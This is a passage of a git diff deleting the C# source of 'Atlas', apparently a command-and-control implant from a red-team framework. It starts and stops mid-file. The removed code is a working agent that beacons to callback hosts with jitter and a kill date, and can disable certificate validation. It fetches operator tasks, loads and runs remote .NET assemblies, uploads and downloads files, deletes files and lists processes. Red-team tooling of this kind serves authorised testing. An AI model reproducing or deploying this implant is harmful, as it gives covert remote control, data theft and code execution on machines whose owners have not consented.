- OpenProcessToken(Process.Handle, 8, out handle);
- using (var winIdentity = new System.Security.Principal.WindowsIdentity(handle))
- {
- return winIdentity.Name;
- }
- }
- catch (InvalidOperationException)
- {
- return string.Empty;
- }
- catch (System.ComponentModel.Win32Exception)
- {
- return string.Empty;
- }
- }
-
- private struct SYSTEM_INFO
- {
- public ushort wProcessorArchitecture;
- private ushort wReserved;
- private uint dwPageSize;
- private IntPtr lpMinimumApplicationAddress;
- private IntPtr lpMaximumApplicationAddress;
- private UIntPtr dwActiveProcessorMask;
- private uint dwNumberOfProcessors;
- private uint dwProcessorType;
- private uint dwAllocationGranularity;
- private ushort wProcessorLevel;
- private ushort wProcessorRevision;
- };
-
- private enum Platform
- {
- x86,
- x64,
- IA64,
- Unknown
- }
-
- [DllImport("kernel32.dll")]
- private static extern void GetNativeSystemInfo(ref SYSTEM_INFO lpSystemInfo);
-
- private static Platform GetArchitecture()
- {
- const ushort PROCESSOR_ARCHITECTURE_INTEL = 0;
- const ushort PROCESSOR_ARCHITECTURE_IA64 = 6;
- const ushort PROCESSOR_ARCHITECTURE_AMD64 = 9;
-
- var sysInfo = new SYSTEM_INFO();
- GetNativeSystemInfo(ref sysInfo);
-
- switch (sysInfo.wProcessorArchitecture)
- {
- case PROCESSOR_ARCHITECTURE_AMD64:
- return Platform.x64;
- case PROCESSOR_ARCHITECTURE_INTEL:
- return Platform.x86;
- case PROCESSOR_ARCHITECTURE_IA64:
- return Platform.IA64;
- default:
- return Platform.Unknown;
- }
- }
-
- [DllImport("kernel32.dll", SetLastError = true)]
- private static extern bool IsWow64Process(IntPtr hProcess, out bool Wow64Process);
-
- private static bool IsWow64(Process Process)
- {
- try
- {
- bool isWow64;
- IsWow64Process(Process.Handle, out isWow64);
- return isWow64;
- }
- catch (InvalidOperationException)
- {
- return false;
- }
- catch (System.ComponentModel.Win32Exception)
- {
- return false;
- }
- }
-
- private static int GetParentProcess(Process Process)
- {
- try
- {
- return GetParentProcess(Process.Handle);
- }
- catch (InvalidOperationException)
- {
- return 0;
- }
- catch (System.ComponentModel.Win32Exception)
- {
- return 0;
- }
- }
-
- public static Utils.ProcessList GetProcessList()
- {
- Utils.ProcessList process_list = new Utils.ProcessList { };
- try
- {
- var processorArchitecture = GetArchitecture();
- Process[] processes = Process.GetProcesses().OrderBy(P => P.Id).ToArray();
- foreach (Process process in processes)
- {
- Utils.Process process_info = new Utils.Process
- {
- process_id = process.Id,
- parent_process_id = GetParentProcess(process),
- name = process.ProcessName,
- bin_path = string.Empty,
- user = GetProcessOwner(process)
- };
-
- if (process_info.parent_process_id != 0)
- {
- try
- {
- process_info.bin_path = process.MainModule.FileName;
- }
- catch (System.ComponentModel.Win32Exception) { }
- }
-
- if (processorArchitecture == Platform.x64)
- {
- process_info.architecture = "x64";
- }
- else
- {
- process_info.architecture = "x86";
- }
- process_list.process_list.Add(process_info);
- }
- return process_list;
- }
- catch
- {
- return process_list;
- }
- }
- }
-
- // Most of this code is directly from SharSploit: https://github.com/cobbr/SharpSploit
- public static Utils.DirectoryList DirectoryListing(string Path)
- {
- Utils.DirectoryList results = new Utils.DirectoryList();
- if (File.Exists(Path))
- {
- FileInfo fileInfo = new FileInfo(Path);
- results.directory_list.Add(new Utils.FileSystemEntry
- {
- file_name = fileInfo.FullName,
- size = (int)fileInfo.Length,
- timestamp = fileInfo.LastWriteTimeUtc.ToString(),
- IsDir = "false"
- });
- }
- else
- {
- foreach (string dir in Directory.GetDirectories(Path))
- {
- DirectoryInfo dirInfo = new DirectoryInfo(dir);
- results.directory_list.Add(new Utils.FileSystemEntry
- {
- file_name = dirInfo.FullName,
- size = 0,
- timestamp = dirInfo.LastWriteTimeUtc.ToString(),
- IsDir = "true"
- });
- }
- foreach (string file in Directory.GetFiles(Path))
- {
- FileInfo fileInfo = new FileInfo(file);
- results.directory_list.Add(new Utils.FileSystemEntry
- {
- file_name = fileInfo.FullName,
- size = (int)fileInfo.Length,
- timestamp = fileInfo.LastWriteTimeUtc.ToString(),
- IsDir = "false"
- });
- }
- }
- return results;
- }
- }
-}
diff --git a/Payload_Types/atlas/agent_code/Program.cs b/Payload_Types/atlas/agent_code/Program.cs
deleted file mode 100755
index f7abeab11..000000000
--- a/Payload_Types/atlas/agent_code/Program.cs
+++ /dev/null
@@ -1,35 +0,0 @@
-using System;
-using System.Collections.Generic;
-using System.Linq;
-using System.Text;
-
-namespace Atlas
-{
- class Program
- {
- public static void Main(string[] args)
- {
- Modules.PatchBuffer();
- Utils.GetServers();
-#if CERT_FALSE
- System.Net.ServicePointManager.ServerCertificateValidationCallback = delegate { return true; };
-#endif
- while (!Http.CheckIn())
- {
- int Dwell = Utils.GetDwellTime();
- System.Threading.Thread.Sleep(Dwell);
- }
- Utils.JobList JobList = new Utils.JobList
- {
- job_count = 0,
- jobs = { }
- };
- while (true)
- {
- Utils.Loop(JobList);
- int Dwell = Utils.GetDwellTime();
- System.Threading.Thread.Sleep(Dwell);
- }
- }
- }
-}
diff --git a/Payload_Types/atlas/agent_code/Properties/AssemblyInfo.cs b/Payload_Types/atlas/agent_code/Properties/AssemblyInfo.cs
deleted file mode 100755
index a1676640f..000000000
--- a/Payload_Types/atlas/agent_code/Properties/AssemblyInfo.cs
+++ /dev/null
@@ -1,36 +0,0 @@
-using System.Reflection;
-using System.Runtime.CompilerServices;
-using System.Runtime.InteropServices;
-
-// General Information about an assembly is controlled through the following
-// set of attributes. Change these attribute values to modify the information
-// associated with an assembly.
-[assembly: AssemblyTitle("Atlas")]
-[assembly: AssemblyDescription("")]
-[assembly: AssemblyConfiguration("")]
-[assembly: AssemblyCompany("")]
-[assembly: AssemblyProduct("Atlas")]
-[assembly: AssemblyCopyright("Copyright © 2020")]
-[assembly: AssemblyTrademark("")]
-[assembly: AssemblyCulture("")]
-
-// Setting ComVisible to false makes the types in this assembly not visible
-// to COM components. If you need to access a type in this assembly from
-// COM, set the ComVisible attribute to true on that type.
-[assembly: ComVisible(false)]
-
-// The following GUID is for the ID of the typelib if this project is exposed to COM
-[assembly: Guid("91f7a9da-f045-4239-a1e9-487ffdd65986")]
-
-// Version information for an assembly consists of the following four values:
-//
-// Major Version
-// Minor Version
-// Build Number
-// Revision
-//
-// You can specify all the values or you can default the Build and Revision Numbers
-// by using the '*' as shown below:
-// [assembly: AssemblyVersion("1.0.*")]
-[assembly: AssemblyVersion("1.0.0.0")]
-[assembly: AssemblyFileVersion("1.0.0.0")]
diff --git a/Payload_Types/atlas/agent_code/Utils.cs b/Payload_Types/atlas/agent_code/Utils.cs
deleted file mode 100755
index c7df0cfac..000000000
--- a/Payload_Types/atlas/agent_code/Utils.cs
+++ /dev/null
@@ -1,1319 +0,0 @@
-using System;
-using System.Collections.Generic;
-using System.Threading;
-using System.Net;
-using System.Text.RegularExpressions;
-using System.Text;
-using System.Linq;
-using System.IO;
-
-namespace Atlas
-{
- public class Utils
- {
- public static void Loop(JobList JobList)
- {
- if (!CheckDate())
- {
- Environment.Exit(1);
- }
- Http.GetTasking(JobList);
- Dispatch(JobList);
- Http.PostResponse(JobList);
- }
-
- public static bool Dispatch (JobList JobList)
- {
- try
- {
- foreach (Job Job in JobList.jobs)
- {
- if (!Job.job_started)
- {
- if (Job.command == "loadassembly")
- {
- if (Job.chunk_num == Job.total_chunks)
- {
- Thread thread = new Thread(() => ExecuteTasking(Job));
- thread.Start();
- Job.job_started = true;
- Job.thread = thread;
- }
- }
- else if (Job.command == "upload")
- {
- if (Job.chunks.Count == 0)
- {
- break;
- }
- else
- {
- Thread thread = new Thread(() => ExecuteTasking(Job));
- thread.Start();
- Job.thread = thread;
- }
- }
- else if (Job.download)
- {
- if (Job.file_id == null)
- {
- if (!System.IO.File.Exists(Job.parameters))
- {
- Job.response = "Error file does not exists";
- Job.completed = true;
- Job.success = false;
- Job.total_chunks = 0;
- }
- else
- {
- Job.path = Modules.Download.GetPath(Job.parameters);
- Job.total_chunks = (int)Modules.Download.GetTotalChunks(Job.parameters);
- Job.file_size = Modules.Download.GetFileSize(Job.parameters);
- Job.completed = true;
- Job.success = true;
- }
- }
- else if (Job.chunks.Count > 1)
- {
- break;
- }
- else
- {
- ExecuteTasking(Job);
- }
- }
- else
- {
- Thread thread = new Thread(() => ExecuteTasking(Job));
- thread.Start();
- Job.job_started = true;
- Job.thread = thread;
- }
- }
- }
- return true;
- }
- catch
- {
- return false;
- }
- }
-
- public static void ExecuteTasking(Job Job)
- {
- try
- {
- switch (Job.command.ToLower())
- {
- case "loadassembly":
- byte[] assembly = Modules.GetAssembly(Job.chunks, Job.total_chunks);
- if (Modules.Load(Job.file_id, Convert.ToBase64String(assembly)))
- {
- Job.completed = true;
- Job.response = "assembly successfully loaded";
- Job.success = true;
- }
- else
- {
- Job.completed = true;
- Job.response = "assembly could not be loaded";
- Job.success = false;
- }
- break;
- case "runassembly":
- RunAssembly runAssembly = RunAssembly.FromJson(Job.parameters);
- if (!Modules.Check(runAssembly.assembly_id))
- {
- Job.response = "assembly not loaded";
- Job.completed = true;
- Job.success = false;
- break;
- }
- string[] args = new string[] { };
- if (runAssembly.args.Length >= 2)
- {
- args = runAssembly.args.Split();
- }
- else
- {
- args = new string[] { runAssembly.args };
- }
- string response = Modules.Invoke(runAssembly.assembly_id, args);
- if (response.Length < Config.ChunkSize)
- {
- Job.response = response;
- }
- else
- {
- Job.total_chunks = (response.Length + Config.ChunkSize - 1) / Config.ChunkSize;
- int count = 0;
- while (count != Job.total_chunks)
- {
- if (count + 1 == Job.total_chunks)
- {
- int size = response.Length - (count * Config.ChunkSize);
- Job.chunks.Add(response.Substring((count * Config.ChunkSize), count));
- count++;
- }
- else
- {
- Job.chunks.Add(response.Substring((count * Config.ChunkSize), Config.ChunkSize));
- count++;
- }
- }
- }
- Job.completed = true;
- if (Job.response != "\r\n")
- {
- Job.success = true;
- }
- else
- {
- Job.success = false;
- }
- break;
- case "listloaded":
- if (!Config.Modules.Any())
- {
- Job.response = "no assemblies loaded";
- Job.completed = true;
- Job.success = false;
- break;
- }
- string Assemblies = Modules.ListAssemblies();
- Job.response = Assemblies;
- Job.completed = true;
- Job.success = true;
- break;
- case "download":
- if (Job.chunk_num != Job.total_chunks)
- {
- string chunk = Modules.Download.GetChunk(Job.parameters, Job.chunk_num, Job.total_chunks, Job.file_size);
- Job.chunks.Add(chunk);
- Job.chunk_num++;
- }
- break;
- case "upload":
- if (Job.write_num == 0)
- {
- if (System.IO.File.Exists(Job.path))
- {
- Job.response = "Error file already exists";
- Job.completed = true;
- Job.success = false;
- }
- }
- if (Job.chunks.Count != 0)
- {
- if(Modules.Upload(Job.path, Job.chunks[0]))
- {
- Job.write_num++;
- Job.chunks.Remove(Job.chunks[0]);
- }
- }
- if (Job.write_num == Job.total_chunks)
- {
- Job.response = "File successfully uploaded";
- Job.completed = true;
- Job.success = true;
- }
- break;
- case "config":
- if (Job.parameters.ToLower() == "info")
- {
- Job.response = Modules.GetConfig();
- Job.completed = true;
- Job.success = true;
- }
- else if(Modules.SetConfig(Job.parameters.ToLower()))
- {
- Job.response = "Configuration successfully updated";
- Job.completed = true;
- Job.success = true;
- }
- else
- {
- Job.response = "Error could not update config";
- Job.completed = true;
- Job.success = false;
- }
- break;
- case "exit":
- Environment.Exit(1);
- break;
- case "jobs":
- break;
- case "jobkill":
- break;
- case "pwd":
- Job.response = Directory.GetCurrentDirectory();
- Job.completed = true;
- Job.success = true;
- break;
- case "cd":
- if (Directory.Exists(Job.parameters))
- {
- Directory.SetCurrentDirectory(Job.parameters);
- Job.response = "New current directory: " + Directory.GetCurrentDirectory();
- Job.success = true;
- Job.completed = true;
- }
- else
- {
- Job.response = "Could not find directory";
- Job.success = false;
- Job.completed = true;
- }
- break;
- case "rm":
- if (File.Exists(Job.parameters))
- {
- File.Delete(Job.parameters);
- if (File.Exists(Job.parameters))
- {
- Job.response = "Could not delete file";
- Job.success = false;
- Job.completed = true;
- }
- else
- {
- Job.response = "Successfully deleted file";
- Job.success = true;
- Job.completed = true;
- }
- }
- else
- {
- Job.response = "File does not exists";
- Job.success = false;
- Job.completed = true;
- }
- break;
- case "ls":
- if (Job.parameters == "")
- {
- Job.parameters = ".";
- }
- if (Directory.Exists(Job.parameters))
- {
- DirectoryList directoryList = Modules.DirectoryListing(Job.parameters);
- Job.response = DirectoryList.ToJson(directoryList);
- Job.success = true;
- Job.completed = true;
- }
- else if (File.Exists(Job.parameters))
- {
- DirectoryList directoryList = Modules.DirectoryListing(Job.parameters);
- Job.response = DirectoryList.ToJson(directoryList);
- Job.success = true;
- Job.completed = true;
- }
- else
- {
- Job.response = "Cannot find directory";
- Job.success = false;
- Job.completed = true;
- }
- break;
- case "ps":
- ProcessList processList = Modules.ProcessList.GetProcessList();
- Job.response = ProcessList.ToJson(processList);
- Job.success = true;
- Job.completed = true;
- break;
- default:
- Job.response = "Command not implemented";
- Job.success = false;
- Job.completed = true;
- break;
- }
- }
- catch
- {
-
- }
- }
-
- public static bool RemoveJob(Job Job, JobList JobList)
- {
- try
- {
- if (Job.command == "download")
- {
- JobList.jobs.Remove(Job);
- }
- else
- {
- Job.thread.Abort();
- JobList.jobs.Remove(Job);
- }
- return true;
- }
- catch
- {
- return false;
- }
- }
-
- public static bool CheckDate()
- {
- try
- {
- DateTime kill = DateTime.Parse(Config.KillDate);
- DateTime date = DateTime.Today;
- if (DateTime.Compare(kill, date) >= 0)
- {
- return true;
- }
-
- else
- {
- return false;
- }
- }
- catch
- {
- return true;
- }
- }
-
- public static int GetDwellTime()
- {
- double High = Config.Sleep + (Config.Sleep * (Config.Jitter * 0.01));
- double Low = Config.Sleep - (Config.Sleep * (Config.Jitter * 0.01));
- Random random = new Random();
- int Dwell = random.Next(Convert.ToInt32(Low), Convert.ToInt32(High));
- return Dwell * 1000;
- }
-
- public static string GetIPAddress()
- {
- IPHostEntry Host = default(IPHostEntry);
- string Hostname = null;
- Hostname = System.Environment.MachineName;
- Host = Dns.GetHostEntry(Hostname);
- string ip = "";
- foreach (IPAddress IP in Host.AddressList)
- {
- if (IP.AddressFamily == System.Net.Sockets.AddressFamily.InterNetwork)
- {
- ip = Convert.ToString(IP);
- }
- }
- return ip;
- }
-
- public static string GetArch()
- {
- string arch = "";
- if (IntPtr.Size == 8)
- {
- arch = "x64";
- }
- else
- {
- arch = "x86";
- }
- return arch;
- }
-
- public static string GetSessionId()
- {
- Random random = new Random();
- const string chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
- return new string(Enumerable.Repeat(chars, 20).Select(s => s[random.Next(s.Length)]).ToArray());
- }
-
- // Stole from Covenant's Grunt
- // Adapted from https://github.com/mono/mono/blob/master/mcs/class/System.Web/System.Web/HttpUtility.cs
- public static string JavaScriptStringEncode(string value)
- {
- if (String.IsNullOrEmpty(value)) { return String.Empty; }
- int len = value.Length;
- bool needEncode = false;
- char c;
- for (int i = 0; i < len; i++)
- {
- c = value[i];
- if (c >= 0 && c <= 31 || c == 34 || c == 39 || c == 60 || c == 62 || c == 92)
- {
- needEncode = true;
- break;
- }
- }
- if (!needEncode) { return value; }
-
- var sb = new StringBuilder();
- for (int i = 0; i < len; i++)
- {
- c = value[i];
- if (c >= 0 && c <= 7 || c == 11 || c >= 14 && c <= 31 || c == 39 || c == 60 || c == 62)
- {
- sb.AppendFormat("\\u{0:x4}", (int)c);
- }
- else
- {
- switch ((int)c)
- {
- case 8:
- sb.Append("\\b");
- break;
- case 9:
- sb.Append("\\t");
- break;
- case 10:
- sb.Append("\\n");
- break;
- case 12:
- sb.Append("\\f");
- break;
- case 13:
- sb.Append("\\r");
- break;
- case 34:
- sb.Append("\\\"");
- break;
- case 92:
- sb.Append("\\\\");
- break;
- default:
- sb.Append(c);
- break;
- }
- }
- }
- return sb.ToString();
- }
-
- public static void GetServers()
- {
- foreach (string domain in Config.CallbackHosts)
- {
- Server server = new Server
- {
- domain = domain,
- count = 0
- };
- Config.Servers.Add(server);
- }
- }
-
- public class Server
- {
- public string domain { get; set; }
- public int count { get; set; }
- }
-
- public class CheckIn
- {
- public string action { get; set; }
- public string ip { get; set; }
- public string os { get; set; }
- public string user { get; set; }
- public string host { get; set; }
- public string domain { get; set; }
- public int pid { get; set; }
- public string uuid { get; set; }
- public string architecture { get; set; }
-
- public string JsonFormat = @"{{""action"":""{0}"",""ip"":""{1}"",""os"":""{2}"",""user"":""{3}"",""host"":""{4}"",""domain"":""{5}"",""pid"":{6},""uuid"":""{7}"",""architecture"":""{8}""}}";
-
- public static string ToJson(CheckIn checkin)
- {
- return String.Format(
- checkin.JsonFormat,
- JavaScriptStringEncode(checkin.action),
- JavaScriptStringEncode(checkin.ip),
- JavaScriptStringEncode(checkin.os),
- JavaScriptStringEncode(checkin.user),
- JavaScriptStringEncode(checkin.host),
- JavaScriptStringEncode(checkin.domain),
- JavaScriptStringEncode(checkin.pid.ToString()),
- JavaScriptStringEncode(checkin.uuid),
- JavaScriptStringEncode(checkin.architecture)
- );
- }
- }
-
-
- public class CheckInResponse
- {
- public string action { get; set; }
- public string id { get; set; }
- public string status { get; set; }
-
- public static string CheckInResponseFormat = @"{{""status"":""{0}"",""id"":""{1}"",""action"":""{2}""}}";
-
- public static List Parse(string data, string format)
- {
- format = Regex.Escape(format).Replace("\\{", "{");
- if (format.Contains("{0}")) { format = format.Replace("{0}", "(?'group0'.*)"); }
- if (format.Contains("{1}")) { format = format.Replace("{1}", "(?'group1'.*)"); }
- if (format.Contains("{2}")) { format = format.Replace("{2}", "(?'group2'.*)"); }
- Match match = new Regex(format).Match(data);
- List matches = new List();
- if (match.Groups["group0"] != null) { matches.Add(match.Groups["group0"].Value); }
- if (match.Groups["group1"] != null) { matches.Add(match.Groups["group1"].Value); }
- if (match.Groups["group2"] != null) { matches.Add(match.Groups["group2"].Value); }
- return matches;
- }
-
- public static CheckInResponse FromJson(string message)
- {
- List parseList = CheckInResponse.Parse(message, CheckInResponseFormat.Replace("{{", "{").Replace("}}", "}"));
- if (parseList.Count != 3) { return null; }
- return new CheckInResponse
- {
- status = parseList[0],
- id = parseList[1],
- action = parseList[2]
- };
- }
- }
-
- public class GetTasking
- {
- public string action { get; set; }
- public int tasking_size { get; set; }
-
- public string JsonFormat = @"{{""action"":""{0}"",""tasking_size"":{1}}}";
-
- public static string ToJson(GetTasking get_tasking)
- {
- return String.Format(
- get_tasking.JsonFormat,
- JavaScriptStringEncode(get_tasking.action),
- JavaScriptStringEncode(get_tasking.tasking_size.ToString())
- );
- }
- }
-
- public class GetTaskingResponse
- {
- public string action { get; set; }
- public List tasks { get; set; }
-
- public GetTaskingResponse()
- {
- tasks = new List();
- }
-
- public static string GetTaskingResponseFormat = @"{{""action"":""{0}"",""tasks"":{1}}}";
-
- public static List Parse(string data, string format)
- {
- format = Regex.Escape(format).Replace("\\{", "{");
- if (format.Contains("{0}")) { format = format.Replace("{0}", "(?'group0'.*)"); }
- if (format.Contains("{1}")) { format = format.Replace("{1}", "(?'group1'.*)"); }
- Match match = new Regex(format).Match(data);
- List matches = new List();
- if (match.Groups["group0"] != null) { matches.Add(match.Groups["group0"].Value); }
- if (match.Groups["group1"] != null) { matches.Add(match.Groups["group1"].Value); }
- return matches;
- }
-
- public static GetTaskingResponse FromJson(string message)
- {
- List parseList = GetTaskingResponse.Parse(message, GetTaskingResponseFormat.Replace("{{", "{").Replace("}}", "}"));
- if (parseList.Count != 2) { return null; }
- return new GetTaskingResponse
- {
- action = parseList[0],
- tasks = Task.ParseTasks(parseList[1])
- };
- }
- }
-
- public class PostResponse
- {
- public string action { get; set; }
- public List responses { get; set; }
-
- public PostResponse()
- {
- responses = new List();
- }
-
- public string JsonFormat = @"{{""action"":""{0}"",""responses"":[{1}]}}";
-
- public static string ToJson(PostResponse post_response)
- {
- string responses = "";
- int count = 0;
- foreach (TaskResponse task_response in post_response.responses)
- {
- if ((count + 1) == post_response.responses.Count)
- {
- responses += TaskResponse.ToJson(task_response);
- }
- else
- {
- responses += TaskResponse.ToJson(task_response) + ',';
- }
- ++count;
- }
- return "{\"action\": \"" + post_response.action + "\", \"responses\": [" + responses + "]}";
- }
- }
-
- public class PostResponseResponse
- {
- public string action { get; set; }
- public List responses { get; set; }
-
- public PostResponseResponse()
- {
- responses = new List();
- }
-
- public static string PostResponseResponseFormat = @"{{""action"":""{0}"",""responses"":{1}}}";
-
- public static List Parse(string data, string format)
- {
- format = Regex.Escape(format).Replace("\\{", "{");
- if (format.Contains("{0}")) { format = format.Replace("{0}", "(?'group0'.*)"); }
- if (format.Contains("{1}")) { format = format.Replace("{1}", "(?'group1'.*)"); }
- Match match = new Regex(format).Match(data);
- List matches = new List();
- if (match.Groups["group0"] != null) { matches.Add(match.Groups["group0"].Value); }
- if (match.Groups["group1"] != null) { matches.Add(match.Groups["group1"].Value); }
- return matches;
- }
-
- public static PostResponseResponse FromJson(string message)
- {
- List parseList = PostResponseResponse.Parse(message, PostResponseResponseFormat.Replace("{{", "{").Replace("}}", "}"));
- if (parseList.Count != 2) { return null; }
- return new PostResponseResponse
- {
- action = parseList[0],
- responses = Response.ParseResponses(parseList[1])
- };
- }
- }
-
- public class Task
- {
- public string command { get; set; }
- public string parameters { get; set; }
- public string id { get; set; }
- public string timestamp { get; set; }
-
- public static string TaskFormat = @"{{""command"":""{0}"",""parameters"":""{1}"",""id"":""{2}"",""timestamp"":{3}}}";
-
- public static List Parse(string data, string format)
- {
- format = Regex.Escape(format).Replace("\\{", "{");
- if (format.Contains("{0}")) { format = format.Replace("{0}", "(?'group0'.*)"); }
- if (format.Contains("{1}")) { format = format.Replace("{1}", "(?'group1'.*)"); }
- if (format.Contains("{2}")) { format = format.Replace("{2}", "(?'group2'.*)"); }
- if (format.Contains("{3}")) { format = format.Replace("{3}", "(?'group3'.*)"); }
- Match match = new Regex(format).Match(data);
- List matches = new List();
- if (match.Groups["group0"] != null) { matches.Add(match.Groups["group0"].Value); }
- if (match.Groups["group1"] != null) { matches.Add(match.Groups["group1"].Value); }
- if (match.Groups["group2"] != null) { matches.Add(match.Groups["group2"].Value); }
- if (match.Groups["group3"] != null) { matches.Add(match.Groups["group3"].Value); }
- return matches;
- }
-
- public static List ParseTasks(string tasks_json)
- {
- if (tasks_json == "[]")
- {
- return null;
- }
- else
- {
- tasks_json = tasks_json.Replace("[", @"").Replace("]", @"");
- }
- List tasks = new List();
- string[] tasks_split = tasks_json.Split(new[] { "}," }, StringSplitOptions.RemoveEmptyEntries);
- int count = 0;
- foreach (string task in tasks_split)
- {
- List parseList = new List { };
- if (count + 1 != tasks_split.Length)
- {
- parseList = Task.Parse(task + "}", TaskFormat.Replace("{{", "{").Replace("}}", "}"));
- if (parseList[0] == "")
- {
- string format = @"{{""command"":""{0}"",""parameters"":""{1}"",""id"":""{2}"",""timestamp"":{3}}}";
- parseList = Task.Parse(task, format.Replace("{{", "{").Replace("}}", "}"));
- }
- }
- else
- {
- parseList = Task.Parse(task + "}", TaskFormat.Replace("{{", "{").Replace("}}", "}"));
- if (parseList[0] == "")
- {
- string format = @"{{""command"":""{0}"",""parameters"":""{1}"",""id"":""{2}"",""timestamp"":{3}}}";
- parseList = Task.Parse(task, format.Replace("{{", "{").Replace("}}", "}"));
- }
- }
- if (parseList.Count != 4) { return null; }
- Task new_task = new Task
- {
- command = parseList[0],
- parameters = parseList[1],
- id = parseList[2],
- timestamp = parseList[3]
- };
- tasks.Add(new_task);
- ++count;
- }
- return tasks;
- }
- }
-
- public class TaskResponse
- {
- public string task_id { get; set; }
- public string user_output { get; set; }
- public string status { get; set; }
- public string completed { get; set; }
- public int? total_chunks { get; set; }
- public string full_path { get; set; }
- public int? chunk_num { get; set; }
- public string chunk_data { get; set; }
- public string file_id { get; set; }
-
- public string JsonFormat = @"{{""task_id"":""{0}"",""user_output"":""{1}"",""status"":""{2}"",""completed"":{3},""total_chunks"":{4},""full_path"":""{5}"",""chunk_num"":{6},""chunk_data"":""{7}"",""file_id"":""{8}""}}";
- public string JsonFormat1 = @"{{""task_id"":""{0}"",""user_output"":""{1}"",""status"":""{2}"",""completed"":""{3}"",""total_chunks"":""{4}"",""full_path"":""{5}"",""chunk_num"":{6},""chunk_data"":""{7}"",""file_id"":""{8}""}}";
- public string JsonFormat2 = @"{{""task_id"":""{0}"",""user_output"":""{1}"",""status"":""{2}"",""completed"":""{3}"",""total_chunks"":{4},""full_path"":""{5}"",""chunk_num"":""{6}"",""chunk_data"":""{7}"",""file_id"":""{8}""}}";
- public string JsonFormat3 = @"{{""task_id"":""{0}"",""user_output"":""{1}"",""status"":""{2}"",""completed"":""{3}"",""total_chunks"":""{4}"",""full_path"":""{5}"",""chunk_num"":""{6}"",""chunk_data"":""{7}"",""file_id"":""{8}""}}";
-
- public static string ToJson(TaskResponse task_response)
- {
- string Format = task_response.JsonFormat;
- if (task_response.user_output == null)
- {
- task_response.user_output = "";
- }
- if (task_response.completed == null)
- {
- task_response.completed = "";
- }
- if (task_response.status == null)
- {
- task_response.status = "";
- }
- string total_chunks;
- if (task_response.total_chunks == null)
- {
- Format = task_response.JsonFormat1;
- total_chunks = "";
- }
- else
- {
- Format = task_response.JsonFormat2;
- total_chunks = task_response.total_chunks.ToString();
- }
- if (task_response.full_path == null)
- {
- task_response.full_path = "";
- }
- string chunk_num;
- if (task_response.chunk_num == null)
- {
- if (Format != task_response.JsonFormat2)
- {
- Format = task_response.JsonFormat3;
- }
- chunk_num = "";
- }
- else
- {
- if (Format != task_response.JsonFormat2)
- {
- Format = task_response.JsonFormat1;
- }
- chunk_num = task_response.chunk_num.ToString();
- }
- if (task_response.chunk_data == null)
- {
- task_response.chunk_data = "";
- }
- if (task_response.file_id == null)
- {
- task_response.file_id = "";
- }
- return String.Format(
- Format,
- JavaScriptStringEncode(task_response.task_id),
- JavaScriptStringEncode(task_response.user_output),
- JavaScriptStringEncode(task_response.status),
- JavaScriptStringEncode(task_response.completed),
- JavaScriptStringEncode(total_chunks),
- JavaScriptStringEncode(task_response.full_path),
- JavaScriptStringEncode(chunk_num),
- JavaScriptStringEncode(task_response.chunk_data),
- JavaScriptStringEncode(task_response.file_id)
- );
- }
- }
-
- public class Response
- {
- public string task_id { get; set; }
- public string status { get; set; }
- public string error { get; set; }
- public string file_id { get; set;}
-
- public static string ResponseSuccessFormat = @"{{""status"":""{0}"",""task_id"":""{1}""}}";
- public static string ResponseErrorFormat = @"{{""status"":""{0}"",""task_id"":""{1}"",""error"":""{2}""}}";
- public static string ResponseDownloadFormat = @"{{""status"":""{0}"",""task_id"":""{1}"",""file_id"":""{2}""}}";
-
- public static List ParseSuccess(string data, string format)
- {
- format = Regex.Escape(format).Replace("\\{", "{");
- if (format.Contains("{0}")) { format = format.Replace("{0}", "(?'group0'.*)"); }
- if (format.Contains("{1}")) { format = format.Replace("{1}", "(?'group1'.*)"); }
- Match match = new Regex(format).Match(data);
- List matches = new List();
- if (match.Groups["group0"] != null) { matches.Add(match.Groups["group0"].Value); }
- if (match.Groups["group1"] != null) { matches.Add(match.Groups["group1"].Value); }
- return matches;
- }
-
- public static List ParseError(string data, string format)
- {
- format = Regex.Escape(format).Replace("\\{", "{");
- if (format.Contains("{0}")) { format = format.Replace("{0}", "(?'group0'.*)"); }
- if (format.Contains("{1}")) { format = format.Replace("{1}", "(?'group1'.*)"); }
- if (format.Contains("{2}")) { format = format.Replace("{2}", "(?'group2'.*)"); }
- Match match = new Regex(format).Match(data);
- List matches = new List();
- if (match.Groups["group0"] != null) { matches.Add(match.Groups["group0"].Value); }
- if (match.Groups["group1"] != null) { matches.Add(match.Groups["group1"].Value); }
- if (match.Groups["group2"] != null) { matches.Add(match.Groups["group2"].Value); }
- return matches;
- }
-
- public static List ParseResponses(string responses_json)
- {
- if (responses_json == "[]")
- {
- return null;
- }
- else
- {
- responses_json = responses_json.Replace("[", @"").Replace("]", @"");
- }
- List responses = new List();
- string[] responses_split = responses_json.Split(new[] { "}," }, StringSplitOptions.RemoveEmptyEntries);
- foreach (string response in responses_split)
- {
- List parseList = new List { };
- if (response.Contains("error"))
- {
- parseList = Response.ParseError(response, ResponseErrorFormat.Replace("{{", "{").Replace("}}", "}"));
- if (parseList.Count != 3) { return null; }
- Response new_response = new Response
- {
- status = parseList[0],
- task_id = parseList[1],
- error = parseList[2]
- };
- responses.Add(new_response);
- }
- else if (response.Contains("file_id"))
- {
- parseList = Response.ParseError(response, ResponseDownloadFormat.Replace("{{", "{").Replace("}}", "}"));
- if (parseList.Count != 3) { return null; }
- Response new_response = new Response
- {
- status = parseList[0],
- task_id = parseList[1],
- file_id = parseList[2]
- };
- responses.Add(new_response);
- }
- else
- {
- parseList = Response.ParseSuccess(response + "}", ResponseSuccessFormat.Replace("{{", "{").Replace("}}", "}"));
- parseList.Add("");
- if (parseList.Count != 3) { return null; }
- Response new_response = new Response
- {
- status = parseList[0],
- task_id = parseList[1],
- error = parseList[2]
- };
- responses.Add(new_response);
- }
- }
- return responses;
- }
- }
-
- public class JobList
- {
- public int job_count { get; set; }
- public List jobs { get; set; }
-
- public JobList()
- {
- jobs = new List();
- }
- }
-
- public class Job
- {
- public int job_id { get; set; }
- public string task_id { get; set; }
- public bool completed { get; set; }
- public bool job_started { get; set; }
- public bool success { get; set; }
- public string command { get; set; }
- public string parameters { get; set; }
- public string response { get; set; }
- public Thread thread { get; set; }
- public bool upload { get; set; }
- public bool download { get; set; }
- public bool chunking_started { get; set; }
- public int total_chunks { get; set; }
- public int chunk_num { get; set; }
- public int write_num { get; set; }
- public string file_id { get; set; }
- public long file_size { get; set; }
- public string path { get; set; }
- public List chunks { get; set; }
-
- public Job()
- {
- chunks = new List();
- }
- }
-
- public class UploadTasking
- {
- public string assembly_id { get; set; }
- public string remote_path { get; set; }
-
